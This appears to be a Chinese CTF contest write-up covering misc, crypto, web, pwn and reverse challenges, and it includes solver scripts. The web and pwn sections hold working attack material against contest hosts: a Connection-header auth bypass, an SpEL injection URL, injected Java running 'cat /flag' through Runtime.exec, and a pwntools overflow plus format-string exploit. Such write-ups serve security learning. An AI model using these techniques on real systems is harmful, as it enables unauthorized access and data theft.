misc
Personal Vault
string 搜索flag正则,一把嗦
The_Interrogation_Room
import socket, re, string
from hashlib import sha256
HOST = "47.94.202.253"
PORT = 34888
DEBUG = True
ALPH = string.ascii_letters + string.digits
def _recvline(sock):
buf = b""
while True:
ch = sock.recv(1)
if not ch:
break
buf += ch
if ch == b"\n":
break
return buf.decode(errors="ignore")
class Reader:
def __init__(self, sock):
self.s = sock
self.q = []
def push(self, line):
self.q.append(line)
def recvline(self):
if self.q:
return self.q.pop(0)
return _recvline(self.s)
def read_until(self, keys, echo_if_unwanted=False):
while True:
line = self.recvline()
if not line:
raise RuntimeError("connection closed while waiting for: " + " | ".join(keys))
for k in keys:
if k in line:
return line, k
if echo_if_unwanted and line.strip():
print(line.rstrip())
def sendline(sock, line):
if isinstance(line, str):
line = line.encode()
if not line.endswith(b"\n"):
line += b"\n"
sock.sendall(line)
def solve_pow_with_first_line(r: Reader, first_line: str):
"""
已经读到第一行 pow 提示 first_line,继续读第二行并爆破。
"""
m = re.search(r"sha256\(XXXX\+([A-Za-z0-9]{16})\)\s*==\s*([0-9a-f]{64})", first_line.strip())
if not m:
if DEBUG:
print("[DEBUG] handshake: not POW, push back:", first_line.rstrip())
r.push(first_line)
return False
suffix, target = m.group(1), m.group(2)
peek = r.recvline()
if DEBUG:
print("[DEBUG] handshake: saw POW; next line:", peek.rstrip())
suf = suffix.encode()
for a in ALPH:
for b in ALPH:
for c in ALPH:
for d in ALPH:
pre = (a+b+c+d).encode()
if sha256(pre + suf).hexdigest() == target:
sendline(r.s, pre.decode())
if DEBUG:
print("[DEBUG] POW solved:", pre.decode())
return True
raise RuntimeError("PoW brute failed (unexpected)")
def xor2(a, b):
return f"( ( {a} and ( {b} == 0 ) ) or ( ( {a} == 0 ) and {b} ) )"
def xor_many(vs):
assert len(vs) >= 2
e = xor2(vs[0], vs[1])
for v in vs[2:]:
e = xor2(e, v)
return e
BASE_Q = [f"S{i} == 1" for i in range(8)]
A = [
[0,1,2,3,6,7],
[0,1,2,4,5],
[0,1,4],
[1,5,7],
[2,4,6],
[0,3,4,6,7],
[0,6,7],
[0,2,3,4,5,6],
[0,1,2,3,5,7],
]
def build_queries():
qs = list(BASE_Q)
for idxs in A:
vs = [f"S{i}" for i in idxs]
expr = xor_many(vs)
qs.append(f"{expr} == 1")
assert len(qs) == 17
for q in qs:
assert " " not in q
return qs
def parse_bool(line):
return 1 if "True" in line else 0
def parity(bits, idxs):
s = 0
for i in idxs:
s ^= bits[i]
return s
def encode_from_S(S):
checks = [parity(S, idxs) for idxs in A]
return S + checks
def decode_two_lies(ans17):
N = 17
cands = []
for i in range(N):
for j in range(i+1, N):
t = ans17[:]
t[i] ^= 1
t[j] ^= 1
S = t[:8]
if encode_from_S(S) == t:
cands.append((i, j, S))
if len(cands) == 1:
return cands[0]
bestS, bestD = None, 1e9
for x in range(256):
S = [(x>>k)&1 for k in range(8)]
code = encode_from_S(S)
d = sum(ci ^ bi for ci, bi in zip(code, ans17))
if d < bestD:
bestD, bestS = d, S
return (-1, -1, bestS)
def run():
qs = build_queries()
with socket.create_connection((HOST, PORT), timeout=60) as s:
s.settimeout(60)
r = Reader(s)
first = r.recvline()
if DEBUG:
print("[DEBUG] first line:", first.rstrip() or "<empty>")
if first and first.startswith("sha256("):
ok = solve_pow_with_first_line(r, first)
if not ok:
pass
else:
r.push(first)
rounds = 0
while True:
line, key = r.read_until(["Ask your question:", "Welcome to the interrogation room!"], echo_if_unwanted=True)
if "Welcome" in line:
_, _ = r.read_until(["Ask your question:"], echo_if_unwanted=True)
answers = []
for qi in range(17):
sendline(s, qs[qi])
resp, _ = r.read_until(["Prisoner's response:"], echo_if_unwanted=True)
answers.append(parse_bool(resp))
_, _ = r.read_until(["Now reveal the true secrets"], echo_if_unwanted=True)
(i, j, S) = decode_two_lies(answers)
if DEBUG:
enc = encode_from_S(S)
dist = sum(a ^ b for a, b in zip(enc, answers))
print(f"[DEBUG] answers = {''.join(map(str,answers))}")
print(f"[DEBUG] flip_at = ({i},{j})")
print(f"[DEBUG] S = {''.join(map(str,S))}")
print(f"[DEBUG] parity(enc) = {''.join(map(str,enc[8:]))}")
print(f"[DEBUG] parity(obs) = {''.join(map(str,answers[8:]))}")
print(f"[DEBUG] hd(enc,obs) = {dist}")
sendline(s, " ".join(map(str, S)))
while True:
line = r.recvline()
if not line:
print("connection closed")
return
txt = line.strip()
if not txt:
continue
print(txt)
if "ask your next round" in txt.lower():
rounds += 1
break
if "laughs triumphantly" in txt.lower():
return
if "flag{" in txt.lower():
return
if __name__ == "__main__":
run()
legacyOLED
导入到pulseView查看
设置I2C解码,导出数据
这里展示部分数据:
2257254-2257254 I2C: Address/Data: Start
2257295-2257575 I2C: Address/Data: Address write: 3C
2257575-2257615 I2C: Address/Data: Write
2257615-2257655 I2C: Address/Data: ACK
2257670-2257990 I2C: Address/Data: Data write: 00
2257990-2258030 I2C: Address/Data: ACK
2258030-2258350 I2C: Address/Data: Data write: 20
2258350-2258390 I2C: Address/Data: ACK
2258390-2258710 I2C: Address/Data: Data write: 01
2258710-2258750 I2C: Address/Data: ACK
2258792-2258792 I2C: Address/Data: Stop
2258999-2258999 I2C: Address/Data: Start
2259039-2259319 I2C: Address/Data: Address write: 3C
2259319-2259359 I2C: Address/Data: Write
2259359-2259399 I2C: Address/Data: ACK
2259415-2259735 I2C: Address/Data: Data write: 00
2259735-2259775 I2C: Address/Data: ACK
2259775-2260095 I2C: Address/Data: Data write: 22
2260095-2260135 I2C: Address/Data: ACK
2260135-2260457 I2C: Address/Data: Data write: 03
2260456-2260497 I2C: Address/Data: ACK
2260496-2260816 I2C: Address/Data: Data write: 05
2260816-2260856 I2C: Address/Data: ACK
2260897-2260897 I2C: Address/Data: Stop
然后写脚本提取图片
import re
from PIL import Image
import sys
WIDTH = 128
HEIGHT = 64
INPUT_FILENAME = "out.txt"
def main():
try:
with open(INPUT_FILENAME, 'r') as f:
log_content = f.read()
except FileNotFoundError:
sys.exit(1)
canvas = [[0 for _ in range(HEIGHT)] for _ in range(WIDTH)]
state = {
'col_start': 0, 'col_end': WIDTH - 1,
'page_start': 0, 'page_end': (HEIGHT // 8) - 1,
'current_col': 0, 'current_page': 0,
'addressing_mode': 2
}
transactions = re.split(r'I2C: Address/Data: Start', log_content)
for transaction in transactions:
if not transaction.strip() or "Address write: 3C" not in transaction:
continue
data_bytes = [int(val, 16) for val in re.findall(r"Data write: ([0-9A-Fa-f]{2})", transaction)]
if not data_bytes:
continue
control_byte = data_bytes[0]
payload = data_bytes[1:]
if control_byte == 0x00:
p_idx = 0
while p_idx < len(payload):
cmd = payload[p_idx]
if cmd == 0x20 and p_idx + 1 < len(payload):
state['addressing_mode'] = payload[p_idx+1]
p_idx += 1
elif cmd == 0x21 and p_idx + 2 < len(payload):
state['col_start'] = payload[p_idx+1]; state['col_end'] = payload[p_idx+2]
state['current_col'] = state['col_start']
p_idx += 2
elif cmd == 0x22 and p_idx + 2 < len(payload):
state['page_start'] = payload[p_idx+1]; state['page_end'] = payload[p_idx+2]
state['current_page'] = state['page_start']
state['current_col'] = state['col_start']
p_idx += 2
p_idx += 1
elif control_byte == 0x40:
for byte_val in payload:
if state['current_col'] < WIDTH and state['current_page'] < (HEIGHT // 8):
for bit in range(8):
if (byte_val >> bit) & 1:
y = state['current_page'] * 8 + bit
if y < HEIGHT:
canvas[state['current_col']][y] = 1
if state['addressing_mode'] == 0: # 水平模式
state['current_col'] += 1
if state['current_col'] > state['col_end']:
state['current_col'] = state['col_start']; state['current_page'] += 1
if state['current_page'] > state['page_end']: state['current_page'] = state['page_start']
elif state['addressing_mode'] == 1: # 垂直模式
state['current_page'] += 1
if state['current_page'] > state['page_end']:
state['current_page'] = state['page_start']; state['current_col'] += 1
if state['current_col'] > state['col_end']: state['current_col'] = state['col_start']
else: # 页模式
state['current_col'] += 1
if state['current_col'] > state['col_end']: state['current_col'] = state['col_start']
img = Image.new('1', (WIDTH, HEIGHT))
pixels = img.load()
for x in range(WIDTH):
for y in range(HEIGHT):
pixels[x, y] = 0 if canvas[x][y] == 1 else 1
output_filename = "logo.png"
img.save(output_filename)
if __name__ == "__main__":
main()
提取如下图片
然后提取前7行的图片数据进行解码
from PIL import Image
IMAGE_FILE = "logo.png"
TEXT_AREA_HEIGHT = 7
def ascii(binary_string):
padding = len(binary_string) % 8
if padding != 0:
binary_string = binary_string[:-padding]
chars = []
for i in range(0, len(binary_string), 8):
byte = binary_string[i:i+8]
try:
char_code = int(byte, 2)
if 32 <= char_code <= 126:
chars.append(chr(char_code))
except ValueError:
continue
return "".join(chars)
def decode(filename):
img = Image.open(filename).convert('1')
width, height = img.size
bin = []
for y in range(TEXT_AREA_HEIGHT):
for x in range(width):
pixel = img.getpixel((x, y))
if pixel == 0:
bin.append('1')
else:
bin.append('0')
bin = "".join(bin)
text = ascii(bin)
return text
if __name__ == "__main__":
flag = decode(IMAGE_FILE)
print(flag)
得到结果
Congratulations on your incredible success! flag is qwb{Re41_Ma5te7-O5-S5Dl3o6_12C}! You bre really smart"
Crypto
check-little
from Crypto.Util.number import inverse, long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import math
N = int("""18795243691459931102679430418438577487182868999316355192329142792373332586982081116157618183340526639820832594356060100434223256500692328397325525717520080923556460823312550686675855168462443732972471029248411895298194999914208659844399140111591879226279321744653193556611846787451047972910648795242491084639500678558330667893360111323258122486680221135246164012614985963764584815966847653119900209852482555918436454431153882157632072409074334094233788430465032930223125694295658614266389920401471772802803071627375280742728932143483927710162457745102593163282789292008750587642545379046283071314559771249725541879213""")
c = int("""10533300439600777643268954021939765793377776034841545127500272060105769355397400380934565940944293911825384343828681859639313880125620499839918040578655561456321389174383085564588456624238888480505180939435564595727140532113029361282409382333574306251485795629774577583957179093609859781367901165327940565735323086825447814974110726030148323680609961403138324646232852291416574755593047121480956947869087939071823527722768175903469966103381291413103667682997447846635505884329254225027757330301667560501132286709888787328511645949099996122044170859558132933579900575094757359623257652088436229324185557055090878651740""")
iv = b'\x91\x16\x04\xb9\xf0RJ\xdd\xf7}\x8cW\xe7n\x81\x8d'
ct = bytes.fromhex("bf87027bc63e69d3096365703a6d47b559e0364b1605092b6473ecde6babeff2")
e = 3
#直接分解 N
p = math.gcd(N, c)
q = N // p
#计算d
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
#还原 key
key = pow(c, d, N)
#用前 16 字节当 AES 密钥解密
aes_key = long_to_bytes(key)[:16]
flag = unpad(AES.new(aes_key, AES.MODE_CBC, iv).decrypt(ct), 16)
print(flag.decode())
web
secretVault
curl -v -H "Connection: keep-alive, X-User" http://101.201.70.201:22674/dashboard
http标准是,凡是列在 Connection 头里的字段名,在转发时必须被移除。如果客户端发 Connection: keep-alive, X-User,转发前就会把 X-User 一并剥掉
于是python默认设置X-User为0,也就是admin权限
def login_required(view_func):
@wraps(view_func)
def wrapped(*args, **kwargs):
uid = request.headers.get('X-User', '0')
print(uid)
if uid == 'anonymous':
flash('Please sign in first.', 'warning')
return redirect(url_for('login'))
try:
uid_int = int(uid)
except (TypeError, ValueError):
flash('Invalid session. Please sign in again.', 'warning')
return redirect(url_for('login'))
user = User.query.filter_by(id=uid_int).first()
if not user:
flash('User not found. Please sign in again.', 'warning')
return redirect(url_for('login'))
g.current_user = user
return view_func(*args, **kwargs)
return wrapped
bbjv
EvaluationService 用 SpEL 模板 解析 rule
SpelConfig 把 System.getProperties() 放进变量 #systemProperties
用 SimpleEvaluationContext阻断了反射属性读取(SecurePropertyAccessor),但Map访问器仍可用;而 #systemProperties 是 java.util.Properties,因此可以用下标写入
GatewayController 在求值之后,用 System.getProperty("user.home")/flag.txt 读 flag。镜像里 flag 放在 /tmp/flag.txt,所以只要在 SpEL 里把 user.home 改成 /tmp,同一次请求就会读到 flag 并回显。
http://ip:port/check?rule=%23%7B%23systemProperties%5B%27user.home%27%5D%3D%27%2Ftmp%27%7D
Result: /tmp
🚩 Flag: flag{9b2914dc-c76b-4d06-aa6c-5aaa6b22064d}
yamcs
这个页面似乎可以执行summary中的代码
try {
String prop = System.getProperty("user.dir");
out0.setStringValue("PROP_ALLOWED:" + (prop == null ? "NULL" : prop));
} catch (Throwable t) {
out0.setStringValue("PROP_BLOCKED");
}
执行了
接着读flag
try {
java.util.Scanner s = new java.util.Scanner(
Runtime.getRuntime().exec("cat /flag").getInputStream()
).useDelimiter("\\A");
out0.setStringValue(s.hasNext() ? s.next().trim() : "EMPTY");
} catch (Exception e) {
out0.setStringValue("ERROR");
}
Pwn
flag market
通过一个可控缓冲区溢出 + printf 格式化字符串的组合漏洞:
用 %9$p 稳定泄露堆地址(已侦察出第 9 个变参处有可用指针)。
用 %12$hn 把已打印字符数半字节写入到我们指定的全局/状态地址,实现“状态污染/指针劫持”。将泄露到的堆基址加上偏移 0x1e0,得到Flag 在堆上的实际地址。再次进入漏洞点,用 %12$s 把我们可控的第 12 个参数当作指针来直接读出 Flag。
溢出到格式化字符串的填充长度:overflow_padding = 0x100
堆泄露到 Flag 的固定偏移:heap_leak_offset = 0x1e0
状态污染的写入目标地址:write_target_addr = 0x404090
凑数用的打印宽度:write_value_padding = 5011(使 %hn 写入的低 2 字节达到期望值)
格式化参数序号(稳定):
heap_leak_fmt_offset = 9(%9$p泄堆)write_buffer_fmt_offset = 12(%12$hn/%12$s针对我们可控的参数)
from pwn import *
import time
context.clear(arch='amd64', os='linux', log_level='debug')
HOST = "8.147.135.195"
PORT = 24640
io = remote(HOST, PORT)
overflow_padding = 0x100 # 溢出到格式化字符串的填充长度
heap_leak_offset = 0x1e0 # 泄露的堆地址到 flag 的魔法偏移
write_target_addr = 0x404090 # 状态污染的写入目标地址
write_value_padding = 5011 # 用于凑数的魔法数字
heap_leak_fmt_offset = 9 # %9$p 泄露堆地址
write_buffer_fmt_offset = 12 # %12$hn / %12$s 使用我们可控的缓冲区
log.info(f"确认攻击参数: 写入偏移={write_buffer_fmt_offset}, 堆泄露偏移={heap_leak_fmt_offset}")
log.info("--- 阶段一: 泄露堆地址并污染状态 ---")
io.sendlineafter(b'2.exit\n', b'1')
time.sleep(0.1)
io.sendlineafter(b'pay?\n', b'255')
time.sleep(0.1)
payload1 = b'a' * overflow_padding
payload1 += f'%{heap_leak_fmt_offset}$p'.encode()
payload1 += b'%' + str(write_value_padding).encode() + b'c'
payload1 += f'%{write_buffer_fmt_offset}$hn'.encode()
io.sendlineafter(b':', payload1)
io.sendlineafter(b'exit', b'1')
io.sendlineafter(b'how much you want to pay?\n', p64(write_target_addr))
heap_addr_str = io.recv(10)
heap_addr = int(heap_addr_str, 16)
flag_addr_on_heap = heap_addr + heap_leak_offset
log.success(f"泄露的原始堆地址: {hex(heap_addr)}")
log.success(f"计算得到 Flag 在堆上的地址: {hex(flag_addr_on_heap)}")
log.info("--- 阶段二: 读取 Flag ---")
io.sendlineafter(b'exit', b'2')
io.recvuntil(b"2.exit\n")
io.sendline(b"1")
io.sendlineafter(b'pay?', b'-1')
payload2 = b'a' * overflow_padding + f'%{write_buffer_fmt_offset}$s'.encode()
io.sendlineafter(b':', payload2)
io.sendlineafter(b'exit', b'1')
io.sendlineafter(b'?', p64(flag_addr_on_heap))
io.interactive()
Re
butterfly
IDA打开,读取文件和encoder的关键加密如下
这段代码使用MMX指令对数据块进行加密处理。具体步骤包括:
- mpxor:将64位数据与密钥(v42[0])进行按位异或。
- m_psrlwi和m_psllwi:将64位数据中的每个16位字分别右移8位和左移8位,然后通过_m_por合并,实现每个16位字内字节的交换。
- m_psllqi和m_psrlqi:将整个64位数据左移1位和右移63位(相当于循环左移1位),然后通过_m_por合并。
- mpaddb:将每个字节与密钥的对应字节相加(模256),然后再存储回原位置。
因此,加密过程可以总结为: XOR密钥 -> 交换每个16位字的字节 -> 循环左移1位 -> 每个字节加上密钥的对应字节
解密过程则需要逆向这些操作:
每个字节减去密钥的对应字节(模256)-> 循环右移1位 -> 交换每个16位字的字节 -> XOR密钥
注意:密钥是64位的,但实际加密时,在字节加法步骤中,密钥被当作8个独立的字节使用。
在解密代码中,我们按照逆序执行相反的操作。但是注意,在加密时,字节加法是模256的,因此在解密时,我们需要进行模256的减法。
另外,循环左移1位的逆操作是循环右移1位。
交换每个16位字的字节的逆操作就是再次交换字节(因为交换两次就恢复了)。
XOR的逆操作就是再次XOR相同的密钥。
最终解密脚本如下,注意因为是以8个字节为单位进行加解密,所以最后多出来的四字节就是原文,直接贴回去就行了,最终flag:flag{butter_fly_mmx_encode_7778167}
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
// 解密一个8字节块
uint64_t decrypt_block(uint64_t block, uint64_t key) {
// 步骤1: 每个字节减去密钥的对应字节(模256)
uint8_t *block_bytes = (uint8_t *)█
uint8_t *key_bytes = (uint8_t *)&key;
for (int i = 0; i < 8; i++) {
block_bytes[i] = (block_bytes[i] - key_bytes[i]) & 0xFF;
}
// 步骤2: 整个64位循环右移1位
block = (block >> 1) | (block << 63);
// 步骤3: 交换每个16位字中的字节
uint16_t *words = (uint16_t *)█
for (int i = 0; i < 4; i++) {
words[i] = (words[i] >> 8) | (words[i] << 8);
}
// 步骤4: XOR密钥
block ^= key;
return block;
}
int main(int argc, char *argv[]) {
if (argc != 4) {
fprintf(stderr, "Usage: %s <encoded_file> <key_file> <output_file>\n", argv[0]);
return 1;
}
const char *encoded_filename = argv[1];
const char *key_filename = argv[2];
const char *output_filename = argv[3];
// 读取编码文件
FILE *encoded_file = fopen(encoded_filename, "rb");
if (!encoded_file) {
perror("Failed to open encoded file");
return 1;
}
fseek(encoded_file, 0, SEEK_END);
long encoded_size = ftell(encoded_file);
fseek(encoded_file, 0, SEEK_SET);
if (encoded_size % 8 != 0) {
fprintf(stderr, "Error: Encrypted file size must be multiple of 8 bytes.\n");
fclose(encoded_file);
return 1;
}
uint64_t *encoded_data = (uint64_t *)malloc(encoded_size);
if (!encoded_data) {
perror("Memory allocation failed");
fclose(encoded_file);
return 1;
}
if (fread(encoded_data, 1, encoded_size, encoded_file) != encoded_size) {
perror("Failed to read encoded file");
free(encoded_data);
fclose(encoded_file);
return 1;
}
fclose(encoded_file);
// 读取密钥文件(前8字节作为密钥)
FILE *key_file = fopen(key_filename, "rb");
if (!key_file) {
perror("Failed to open key file");
free(encoded_data);
return 1;
}
uint64_t key;
if (fread(&key, 1, 8, key_file) != 8) {
perror("Failed to read key");
free(encoded_data);
fclose(key_file);
return 1;
}
fclose(key_file);
// 解密每个8字节块
int num_blocks = encoded_size / 8;
for (int i = 0; i < num_blocks; i++) {
encoded_data[i] = decrypt_block(encoded_data[i], key);
}
// 写入解密后的文件
FILE *output_file = fopen(output_filename, "wb");
if (!output_file) {
perror("Failed to create output file");
free(encoded_data);
return 1;
}
if (fwrite(encoded_data, 1, encoded_size, output_file) != encoded_size) {
perror("Failed to write output file");
free(encoded_data);
fclose(output_file);
return 1;
}
fclose(output_file);
free(encoded_data);
printf("Successfully decrypted to: %s\n", output_filename);
return 0;
}









